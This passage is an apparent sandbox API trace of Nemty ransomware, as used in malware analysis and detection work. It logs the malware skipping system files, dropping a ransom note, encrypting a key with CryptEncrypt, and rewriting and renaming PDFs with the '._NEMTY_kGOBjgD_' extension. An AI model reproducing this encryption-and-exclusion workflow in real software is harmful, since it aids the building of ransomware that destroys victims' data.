lstrcmpiW (lpString1="HUN", lpString2="...") returned 1 [0188.693] lstrcmpiW (lpString1="HUN", lpString2="windows") returned -1 [0188.693] lstrcmpiW (lpString1="HUN", lpString2="$RECYCLE.BIN") returned 1 [0188.693] lstrcmpiW (lpString1="HUN", lpString2="rsa") returned -1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="NTDETECT.COM") returned -1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="ntldr") returned -1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="MSDOS.SYS") returned -1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="IO.SYS") returned -1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="boot.ini") returned 1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="boot.ini") returned 1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="AUTOEXEC.BAT") returned 1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="ntuser.dat") returned -1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="desktop.ini") returned 1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="CONFIG.SYS") returned 1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="RECYCLER") returned -1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="BOOTSECT.BAK") returned 1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="bootmgr") returned 1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="programdata") returned -1 [0188.694] lstrcmpiW (lpString1="HUN", lpString2="appdata") returned 1 [0188.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HUN", lpUsedDefaultChar=0x0) returned 3 [0188.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HUN", lpUsedDefaultChar=0x0) returned 3 [0188.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0188.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0188.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0188.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0188.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0188.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0188.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0188.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.697] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.697] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0188.698] CloseHandle (hObject=0x2f0) returned 1 [0188.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0188.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0188.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0188.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0188.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0188.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0188.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.699] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.699] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0188.700] CloseHandle (hObject=0x2f0) returned 1 [0188.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0188.700] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x241e3cb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x241e3cb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0188.700] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0188.700] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x241e3cb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x241e3cb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0188.700] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0188.700] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0188.700] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb3e, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0188.701] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0188.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0188.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.702] Sleep (dwMilliseconds=0x5) [0188.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24209e10, dwHighDateTime=0x1d561e8)) [0188.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24209e10, dwHighDateTime=0x1d561e8)) [0188.711] GetLastError () returned 0xb7 [0188.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.711] GetLastError () returned 0xb7 [0188.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.711] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.711] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.711] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.712] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="dmvUtaWdlz1tuGPqPdR2RhnWVt0ijqIeVDAs7/xgzgR5IzM6rbXOpvNMNecuwkv1\r\n34TUg+7uwWhXDNKh4khV1e7Ho0ApOq6Sb5YazytIsRCCdm4edZQjL7b4GWEf15tB\r\nqhzk8ErtusDOXNJzYbO5SuUEySRqCapZRxc0gLhbK8KxnUI5+XmUBSbsGQ9lBaIb\r\n5OgRqnNJrpxRTUxr+GG1iSo0ZlV1xe8rIHaxRhjD9DgsBjkka+ZFPvFjGAJxa6uM\r\nGJKaa0OtrNn64h/OEWsB6utnTC4L4Xlm2jU2YHrTen2+fUQjxU/X4/JfSCdOxGw6\r\nV/o+Uh2HkKhAgTSXPJ26FQ==\r\n", pcchString=0x653df5c) returned 1 [0188.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.713] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=47934) returned 1 [0188.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbb30) returned 0x6352c48 [0188.713] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.713] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xbb30, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xbb30, lpOverlapped=0x0) returned 1 [0188.717] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.718] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xbb30, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xbb30, lpOverlapped=0x0) returned 1 [0188.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.718] SetFilePointer (in: hFile=0x320, lDistanceToMove=47934, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb3e [0188.718] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.718] CloseHandle (hObject=0x320) returned 1 [0188.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.718] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0188.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.719] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0188.719] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0188.720] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0188.720] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.720] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0188.720] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0188.720] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0188.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 